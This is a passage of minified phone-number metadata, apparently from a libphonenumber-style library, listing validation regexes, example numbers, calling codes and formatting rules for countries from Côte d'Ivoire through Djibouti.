$5",["8"],"0$1"]],null,[null,null,"74[0248]\\d{6}",null,null,null,"740123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5[18]\\d{7}",null,null,null,"581234567",null,null,[9]],null,null,[null,null,"860\\d{9}",null,null,null,"860123456789",null,null,[12]]],CI:[null,[null,null,"[02-8]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"(?:2(?:0[023]|1[02357]|[23][045]|4[03-5])|3(?:0[06]|1[069]|[2-4][07]|5[09]|6[08]))\\d{5}",null,null,null,"21234567"],[null,null,"(?:[07][1-9]|[45]\\d|6[014-9]|8[4-9])\\d{6}",null,null,null,"01234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CI",225,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[02-8]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CK:[null,[null,null,"[2-8]\\d{4}",null,null,null,null,null,null,[5]],[null,null,"(?:2\\d|3[13-7]|4[1-5])\\d{3}",null,null,null,"21234"],[null,null,"[5-8]\\d{4}",null,null,null,"71234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CK",682,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})","$1 $2",["[2-8]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CL:[null,[null,null,"(?:1230|[2-57-9]\\d|6\\d{1,3})\\d{7}",null,null,null,null,null,null,[9,10,11]],[null,null,"(?:2(?:1962|(?:2\\d\\d|32[0-46-8])\\d)|(?:(?:3[2-5]|[47][1-35]|5[1-3578]|6[13-57]|9[2-9])\\d|8(?:0[1-9]|[1-9]\\d))\\d\\d)\\d{4}",null,null,null,"221234567",null,null,[9]],[null,null,"(?:2(?:1962|(?:2\\d\\d|32[0-46-8])\\d)|(?:(?:3[2-5]|[47][1-35]|5[1-3578]|6[13-57]|9[2-9])\\d|8(?:0[1-9]|[1-9]\\d))\\d\\d)\\d{4}",null,null,null,"221234567",null,null,[9]],[null,null,"(?:1230\\d|800)\\d{6}",null,null,null,"800123456",null,null,[9,11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"600\\d{7,8}",null,null,null,"6001234567",null,null,[10,11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"44\\d{7}",null,null,null,"441234567",null,null,[9]],"CL",56,"(?:0|1(?:1[0-69]|2[0-57]|5[13-58]|69|7[0167]|8[018]))0",null,null,null,null,null,null,1,[[null,"(\\d{4})","$1",["1(?:[03-58]|[29]1)"]],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2(?:2|32)","2(?:2|32[0-46-8])"],"($1)"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["3[2-5]|[47][1-35]|5[1-3578]|6[13-57]|8(?:0[1-9]|[1-9])"],"($1)"],[null,"(\\d{5})(\\d{4})","$1 $2",["2"],"($1)"],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["9[2-9]"]],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["44"]],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["[68]00"]],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3 $4",["600"]],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]]],[[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["2(?:2|32)","2(?:2|32[0-46-8])"],"($1)"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["3[2-5]|[47][1-35]|5[1-3578]|6[13-57]|8(?:0[1-9]|[1-9])"],"($1)"],[null,"(\\d{5})(\\d{4})","$1 $2",["2"],"($1)"],[null,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["9[2-9]"]],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["44"]],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["[68]00"]],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3 $4",["600"]],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1"]]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"600\\d{7,8}",null,null,null,null,null,null,[10,11]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
CM:[null,[null,null,"(?:[26]\\d\\d|88)\\d{6}",null,null,null,null,null,null,[8,9]],[null,null,"2(?:22|33|4[23])\\d{6}",null,null,null,"222123456",null,null,[9]],[null,null,"6[5-9]\\d{7}",null,null,null,"671234567",null,null,[9]],[null,null,"88\\d{6}",null,null,null,"88012345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CM",237,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["88"]],[null,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[26]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CN:[null,[null,null,"(?:(?:(?:1[03-68]|2\\d)\\d\\d|[3-79])\\d|8[0-57-9])\\d{7}|[1-579]\\d{10}|8[0-57-9]\\d{8,9}|[1-79]\\d{9}|[1-9]\\d{7}|[12]\\d{6}",null,null,null,null,null,null,[7,8,9,10,11,12],[5,6]],[null,null,"21(?:100\\d{2}|95\\d{3,4}|\\d{8,10})|(?:10|2[02-57-9]|3(?:11|7[179])|4(?:[15]1|3[1-35])|5(?:1\\d|2[37]|3[12]|51|7[13-79]|9[15])|7(?:31|5[457]|6[09]|91)|8(?:[57]1|98))(?:100\\d{2}|95\\d{3,4}|\\d{8})|(?:3(?:1[02-9]|35|49|5\\d|7[02-68]|9[1-68])|4(?:1[02-9]|2[179]|3[3-9]|5[2-9]|6[4789]|7\\d|8[23])|5(?:3[03-9]|4[36]|5[02-9]|6[1-46]|7[028]|80|9[2-46-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[17]\\d|2[248]|3[04-9]|4[3-6]|5[0-4689]|6[2368]|9[02-9])|8(?:078|1[236-8]|2[5-7]|3\\d|5[1-9]|7[02-9]|8[3678]|9[1-7])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))(?:100\\d{2}|95\\d{3,4}|\\d{7})",null,null,null,"1012345678",null,null,null,[5,6]],[null,null,"1(?:[38]\\d{3}|4[57]\\d{2}|5[0-35-9]\\d{2}|6[267]\\d{2}|7(?:[0-35-8]\\d{2}|40[0-5])|9[189]\\d{2})\\d{6}",null,null,null,"13123456789",null,null,[11]],[null,null,"(?:10)?800\\d{7}",null,null,null,"8001234567",null,null,[10,12]],[null,null,"16[08]\\d{5}",null,null,null,"16812345",null,null,[8]],[null,null,"400\\d{7}|950\\d{7,8}|(?:10|2[0-57-9]|3(?:[157]\\d|35|49|9[1-68])|4(?:[17]\\d|2[179]|[35][1-9]|6[4789]|8[23])|5(?:[1357]\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\d|5[14-9]|8[3678]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\d|4[13]|5[1-5]))96\\d{3,4}",null,null,null,"4001234567",null,null,[7,8,9,10,11],[5,6]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CN",86,"(?:1(?:[12]\\d{3}|79\\d{2}|9[0-7]\\d{2}))?00","0",null,null,"0|(1(?:[12]\\d{3}|79\\d{2}|9[0-7]\\d{2}))",null,"00",null,[[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[48]00"]],[null,"(\\d{5,6})","$1",["100|95"]],[null,"(\\d{2})(\\d{5,6})","$1 $2",["(?:10|2\\d)[19]","(?:10|2\\d)(?:10|9[56])","(?:10|2\\d)(?:100|9[56])"],"0$1","$CC $1"],[null,"(\\d{3})(\\d{5,6})","$1 $2",["[3-9]","[3-9]\\d\\d[19]","[3-9]\\d\\d(?:10|9[56])"],"0$1","$CC $1"],[null,"(\\d{3,4})(\\d{4})","$1 $2",["[2-9]"]],[null,"(\\d{2})(\\d{4})(\\d{4,6})","$1 $2 $3",["21"],"0$1","$CC $1",1],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["10[1-9]|2[02-9]","10[1-9]|2[02-9]","10(?:[1-79]|8(?:0[1-9]|[1-9]))|2[02-9]"],"0$1","$CC $1",1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["3(?:1[02-9]|35|49|5|7[02-68]|9[1-68])|4(?:1[02-9]|2[179]|[35][2-9]|6[47-9]|7|8[23])|5(?:3[03-9]|4[36]|5[02-9]|6[1-46]|7[028]|80|9[2-46-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[04-9]|4[3-6]|6[2368])|8(?:1[236-8]|2[5-7]|3|5[1-9]|7[02-9]|8[36-8]|9[1-7])|9(?:0[1-3689]|1[1-79]|[379]|4[13]|5[1-5])"],"0$1","$CC $1",1],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["3(?:11|7[179])|4(?:[15]1|3[1-35])|5(?:1|2[37]|3[12]|51|7[13-79]|9[15])|7(?:[39]1|5[457]|6[09])|8(?:[57]1|98)"],"0$1","$CC $1",1],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["807","8078"],"0$1","$CC $1",1],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["1(?:[3-57-9]|6[267])"],null,"$CC $1"],[null,"(\\d{5})(\\d{3})(\\d{4})","$1 $2 $3",["108","1080","10800"]],[null,"(\\d{3})(\\d{7,8})","$1 $2",["950"]]],[[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[48]00"]],[null,"(\\d{2})(\\d{5,6})","$1 $2",["(?:10|2\\d)[19]","(?:10|2\\d)(?:10|9[56])","(?:10|2\\d)(?:100|9[56])"],"0$1","$CC $1"],[null,"(\\d{3})(\\d{5,6})","$1 $2",["[3-9]","[3-9]\\d\\d[19]","[3-9]\\d\\d(?:10|9[56])"],"0$1","$CC $1"],[null,"(\\d{2})(\\d{4})(\\d{4,6})","$1 $2 $3",["21"],"0$1","$CC $1",1],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["10[1-9]|2[02-9]","10[1-9]|2[02-9]","10(?:[1-79]|8(?:0[1-9]|[1-9]))|2[02-9]"],"0$1","$CC $1",1],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["3(?:1[02-9]|35|49|5|7[02-68]|9[1-68])|4(?:1[02-9]|2[179]|[35][2-9]|6[47-9]|7|8[23])|5(?:3[03-9]|4[36]|5[02-9]|6[1-46]|7[028]|80|9[2-46-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[04-9]|4[3-6]|6[2368])|8(?:1[236-8]|2[5-7]|3|5[1-9]|7[02-9]|8[36-8]|9[1-7])|9(?:0[1-3689]|1[1-79]|[379]|4[13]|5[1-5])"],"0$1","$CC $1",1],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["3(?:11|7[179])|4(?:[15]1|3[1-35])|5(?:1|2[37]|3[12]|51|7[13-79]|9[15])|7(?:[39]1|5[457]|6[09])|8(?:[57]1|98)"],"0$1","$CC $1",1],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["807","8078"],"0$1","$CC $1",1],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["1(?:[3-57-9]|6[267])"],null,"$CC $1"],[null,"(\\d{5})(\\d{3})(\\d{4})","$1 $2 $3",["108","1080","10800"]],[null,"(\\d{3})(\\d{7,8})","$1 $2",["950"]]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:4|(?:10)?8)00\\d{7}|950\\d{7,8}",null,null,null,null,null,null,[10,11,12]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CO:[null,[null,null,"(?:1\\d|3)\\d{9}|[124-8]\\d{7}",null,null,null,null,null,null,[8,10,11],[7]],[null,null,"[124-8][2-9]\\d{6}",null,null,null,"12345678",null,null,[8],[7]],[null,null,"3(?:0[0-5]|1\\d|2[0-3]|5[01])\\d{7}",null,null,null,"3211234567",null,null,[10]],[null,null,"1800\\d{7}",null,null,null,"18001234567",null,null,[11]],[null,null,"19(?:0[01]|4[78])\\d{7}",null,null,null,"19001234567",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CO",57,"00(?:4(?:[14]4|56)|[579])","0",null,null,"0([3579]|4(?:[14]4|56))?",null,null,null,[[null,"(\\d)(\\d{7})","$1 $2",["1(?:[2-79]|8[2-9])|[24-8]"],"($1)","0$CC $1"],[null,"(\\d{3})(\\d{7})","$1 $2",["3"],null,"0$CC $1"],[null,"(\\d)(\\d{3})(\\d{7})","$1-$2-$3",["1(?:80|9)","1(?:800|9)"],"0$1"]],[[null,"(\\d)(\\d{7})","$1 $2",["1(?:[2-79]|8[2-9])|[24-8]"],"($1)","0$CC $1"],[null,"(\\d{3})(\\d{7})","$1 $2",["3"],null,"0$CC $1"],[null,"(\\d)(\\d{3})(\\d{7})","$1 $2 $3",["1(?:80|9)","1(?:800|9)"]]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CR:[null,[null,null,"(?:8\\d|90)\\d{8}|[24-8]\\d{7}",null,null,null,null,null,null,[8,10]],[null,null,"2(?:[024-7]\\d\\d|1(?:0[7-9]|[1-9]\\d))\\d{4}",null,null,null,"22123456",null,null,[8]],[null,null,"(?:(?:5(?:0[01]|7[0-3])|(?:7[0-3]|8[3-9])\\d)\\d\\d|6(?:[0-4]\\d{3}|500[01]))\\d{3}",null,null,null,"83123456",null,null,[8]],[null,null,"800\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"90[059]\\d{7}",null,null,null,"9001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:210[0-6]|4\\d{3}|5100)\\d{4}",null,null,null,"40001234",null,null,[8]],"CR",506,"00",null,null,null,"(19(?:0[0-2468]|1[09]|20|66|77|99))",null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[24-7]|8[3-9]"],null,"$CC $1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[89]"],null,"$CC $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CU:[null,[null,null,"[2-57]\\d{7}|[2-47]\\d{6}|[34]\\d{5}",null,null,null,null,null,null,[6,7,8],[4,5]],[null,null,"(?:2[1-4]|7\\d)\\d{5,6}|(?:3[1-3]|4[1-35-8])\\d{6}|3[23]\\d{4,5}|4[12578]\\d{5}|4[78]\\d{4}",null,null,null,"71234567",null,null,null,[4,5]],[null,null,"5\\d{7}",null,null,null,"51234567",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CU",53,"119","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{4,6})","$1 $2",["[2-4]"],"(0$1)"],[null,"(\\d)(\\d{6,7})","$1 $2",["7"],"(0$1)"],[null,"(\\d)(\\d{7})","$1 $2",["5"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CV:[null,[null,null,"[2-59]\\d{6}",null,null,null,null,null,null,[7]],[null,null,"2(?:2[1-7]|3[0-8]|4[12]|5[1256]|6\\d|7[1-3]|8[1-5])\\d{4}",null,null,null,"2211234"],[null,null,"(?:[34][36]|5[1-389]|9\\d)\\d{5}",null,null,null,"9911234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CV",238,"0",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["[2-59]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CW:[null,[null,null,"(?:[34]1|60|(?:7|9\\d)\\d)\\d{5}",null,null,null,null,null,null,[7,8]],[null,null,"9(?:(?:[48]\\d|50)\\d|7(?:2[0-24]|[34]\\d|6[35-7]|77|8[7-9]))\\d{4}",null,null,null,"94151234"],[null,null,"9(?:5(?:[12467]\\d|3[01])|6(?:[15-9]\\d|3[01]))\\d{4}",null,null,null,"95181234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"60[0-2]\\d{4}",null,null,null,"6001234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"CW",599,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[3467]"]],[null,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["9[4-8]"]]],null,[null,null,"955\\d{5}",null,null,null,"95581234",null,null,[8]],1,"[69]",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CX:[null,[null,null,"1\\d{5,9}|(?:[48]\\d\\d|550)\\d{6}",null,null,null,null,null,null,[6,7,8,9,10]],[null,null,"8(?:51(?:0(?:01|30|59)|117)|91(?:00[6-9]|1(?:[28]1|49|78)|2(?:09|63)|3(?:12|26|75)|4(?:56|97)|64\\d|7(?:0[01]|1[0-2])|958))\\d{3}",null,null,null,"891641234",null,null,[9],[8]],[null,null,"4(?:[0-3]\\d|4[047-9]|5[0-25-9]|6[6-9]|7[02-9]|8[0-2457-9]|9[017-9])\\d{6}",null,null,null,"412345678",null,null,[9]],[null,null,"180(?:0\\d{3}|2)\\d{3}",null,null,null,"1800123456",null,null,[7,10]],[null,null,"190[0-26]\\d{6}",null,null,null,"1900123456",null,null,[10]],[null,null,"13(?:00\\d{3}|45[0-4])\\d{3}|13\\d{4}",null,null,null,"1300123456",null,null,[6,8,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:14(?:5\\d|71)|550\\d)\\d{5}",null,null,null,"550123456",null,null,[9]],"CX",61,"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011","0",null,null,"0|([59]\\d{7})$","8$1","0011",null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CY:[null,[null,null,"(?:[279]\\d|[58]0)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"2[2-6]\\d{6}",null,null,null,"22345678"],[null,null,"9[4-79]\\d{6}",null,null,null,"96123456"],[null,null,"800\\d{5}",null,null,null,"80001234"],[null,null,"90[09]\\d{5}",null,null,null,"90012345"],[null,null,"80[1-9]\\d{5}",null,null,null,"80112345"],[null,null,"700\\d{5}",null,null,null,"70012345"],[null,null,null,null,null,null,null,null,null,[-1]],"CY",357,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{6})","$1 $2",["[257-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:50|77)\\d{6}",null,null,null,"77123456"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],CZ:[null,[null,null,"(?:[2-578]\\d|60|9\\d{1,4})\\d{7}",null,null,null,null,null,null,[9,10,11,12]],[null,null,"(?:2\\d|3[1257-9]|4[16-9]|5[13-9])\\d{7}",null,null,null,"212345678",null,null,[9]],[null,null,"(?:60[1-8]|7(?:0[2-5]|[2379]\\d))\\d{6}",null,null,null,"601123456",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"9(?:0[05689]|76)\\d{6}",null,null,null,"900123456",null,null,[9]],[null,null,"8[134]\\d{7}",null,null,null,"811234567",null,null,[9]],[null,null,"70[01]\\d{6}",null,null,null,"700123456",null,null,[9]],[null,null,"9[17]0\\d{6}",null,null,null,"910123456",null,null,[9]],"CZ",420,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[2-8]|9[015-7]"]],[null,"(\\d{2})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["9[36]"]],[null,"(\\d{3})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["96"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"9(?:5\\d|7[2-4])\\d{6}",null,null,null,"972123456",null,null,[9]],null,null,[null,null,"9(?:3\\d{9}|6\\d{7,10})",null,null,null,"93123456789"]],DE:[null,[null,null,"(?:1|[235-9]\\d{11}|4(?:[0-8]\\d{2,10}|9(?:[05]\\d{7}|[46][1-8]\\d{2,6})))\\d{3}|[1-35-9]\\d{6,13}|49(?:(?:[0-25]\\d|3[1-689])\\d{4,8}|4[1-8]\\d{4}|6[0-8]\\d{3,4}|7[1-7]\\d{5,8})|497[0-7]\\d{4}|49(?:[0-2579]\\d|[34][1-9])\\d{3}|[1-9]\\d{5}|[13468]\\d{4}",null,null,null,null,null,null,[4,5,6,7,8,9,10,11,12,13,14,15],[3]],[null,null,"(?:2(?:0[1-689]|[1-3569]\\d|4[0-8]|7[1-7]|8[0-7])|5(?:0[2-8]|[124-6]\\d|[38][0-8]|[79][0-7])|6(?:0[02-9]|[1-3589]\\d|[47][0-8]|6[1-9])|7(?:0[2-8]|1[1-9]|[27][0-7]|3\\d|[4-6][0-8]|8[0-5]|9[013-7])|8(?:0[2-9]|1[0-79]|[29]\\d|3[0-46-9]|4[0-6]|5[013-9]|6[1-8]|7[0-8]|8[0-24-6])|9(?:0[6-9]|[1-4]\\d|[589][0-7]|6[0-8]|7[0-467]))\\d{4,12}|3(?:(?:[03569]\\d|4[0-79]|7[1-7]|8[1-8])\\d{4,12}|2\\d{9})|4(?:(?:[02-48]\\d|1[02-9]|5[0-6]|6[0-8]|7[0-79])\\d{4,12}|9(?:[0-37]\\d{4,9}|[4-6]\\d{4,10}))|(?:2(?:0[1-389]|1[124]|2[18]|3[14]|[4-9]1)|3(?:0\\d?|[35-9][15]|4[015])|4(?:0\\d?|[2-9]1)|[57][1-9]1|[68](?:[1-8]1|9\\d?)|9(?:06|[1-9]1))\\d{3}",null,null,null,"30123456",null,null,[5,6,7,8,9,10,11,12,13,14,15],[3,4]],[null,null,"1(?:5[0-25-9]\\d{8}|(?:6[023]|7\\d)\\d{7,8})",null,null,null,"15123456789",null,null,[10,11]],[null,null,"800\\d{7,12}",null,null,null,"8001234567890",null,null,[10,11,12,13,14,15]],[null,null,"(?:137[7-9]|900(?:[135]|9\\d))\\d{6}",null,null,null,"9001234567",null,null,[10,11]],[null,null,"1(?:3(?:7[1-6]\\d\\d|8)|80\\d{1,7})\\d{4}",null,null,null,"18012345",null,null,[7,8,9,10,11,12,13,14]],[null,null,"700\\d{8}",null,null,null,"70012345678",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],"DE",49,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3,13})","$1 $2",["3[02]|40|[68]9"],"0$1"],[null,"(\\d{3})(\\d{3,12})","$1 $2",["2(?:0[1-389]|1[124]|2[18]|3[14]|[4-9]1)|3(?:[35-9][15]|4[015])|(?:4[2-9]|[57][1-9]|[68][1-8])1|9(?:06|[1-9]1)","2(?:0[1-389]|1(?:[14]|2[0-8])|2[18]|3[14]|[4-9]1)|3(?:[35-9][15]|4[015])|(?:4[2-9]|[57][1-9]|[68][1-8])1|9(?:06|[1-9]1)"],"0$1"],[null,"(\\d{3})(\\d{4})","$1 $2",["138"],"0$1"],[null,"(\\d{4})(\\d{3,11})","$1 $2",["[24-6]|3(?:[3569][02-46-9]|4[2-4679]|7[2-467]|8[2-46-8])|7(?:0[2-8]|[1-9])|8(?:0[2-9]|[1-8])|9(?:0[7-9]|[1-9])","[24-6]|3(?:3(?:0[1-467]|2[127-9]|3[124578]|[46][1246]|7[1257-9]|8[1256]|9[145])|4(?:2[135]|3[1357]|4[13578]|6[1246]|7[1356]|9[1346])|5(?:0[14]|2[1-3589]|3[1357]|[49][1246]|6[1-4]|7[13468]|8[13568])|6(?:0[1356]|2[1-489]|3[124-6]|4[1347]|6[13]|7[12579]|8[1-356]|9[135])|7(?:2[1-7]|3[1357]|4[145]|6[1-5]|7[1-4])|8(?:21|3[1468]|4[1347]|6|7[1467]|8[136])|9(?:0[12479]|2[1358]|3[1357]|4[134679]|6[1-9]|7[136]|8[147]|9[1468]))|7(?:0[2-8]|[1-9])|8(?:0[2-9]|[1-8])|9(?:0[7-9]|[1-9])"],"0$1"],[null,"(\\d{3})(\\d{5,11})","$1 $2",["181"],"0$1"],[null,"(\\d{3})(\\d)(\\d{4,10})","$1 $2 $3",["1(?:3|80)|9"],"0$1"],[null,"(\\d{5})(\\d{3,10})","$1 $2",["3"],"0$1"],[null,"(\\d{3})(\\d{7,8})","$1 $2",["1(?:6[02-489]|7)"],"0$1"],[null,"(\\d{3})(\\d{7,12})","$1 $2",["8"],"0$1"],[null,"(\\d{4})(\\d{7})","$1 $2",["15[1279]"],"0$1"],[null,"(\\d{5})(\\d{6})","$1 $2",["15[0568]"],"0$1"],[null,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["7"],"0$1"],[null,"(\\d{3})(\\d{8})","$1 $2",["18[2-579]","18[2-579]","18(?:[2-479]|5(?:0[1-9]|[1-9]))"],"0$1"],[null,"(\\d{4})(\\d{7})","$1 $2",["18[68]"],"0$1"],[null,"(\\d{5})(\\d{6})","$1 $2",["18"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{7,8})","$1 $2 $3",["1(?:6[023]|7)"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{8})","$1 $2 $3",["15[013-68]"],"0$1"],[null,"(\\d{4})(\\d{2})(\\d{7})","$1 $2 $3",["15"],"0$1"]],null,[null,null,"16(?:4\\d{1,10}|[89]\\d{1,11})",null,null,null,"16412345",null,null,[4,5,6,7,8,9,10,11,12,13,14]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"18(?:1\\d{5,11}|[2-9]\\d{8})",null,null,null,"18500123456",null,null,[8,9,10,11,12,13,14]],null,null,[null,null,"1(?:5(?:(?:[03-68]00|113)\\d|2\\d55|7\\d99|9\\d33)|(?:6(?:013|255|399)|7(?:(?:[015]1|[69]3)3|[2-4]55|[78]99))\\d?)\\d{7}",null,null,null,"177991234567",null,null,[12,13]]],DJ:[null,[null,null,"(?:2\\d|77)\\d{6}",null,null,null,null,null,null,[8]],[null,null,"2(?:1[2-5]|7[45])\\d{5}",null,null,null,"21360003"],[null,null,"77\\d{6}",null,null,null,"77831001"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"DJ",253,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 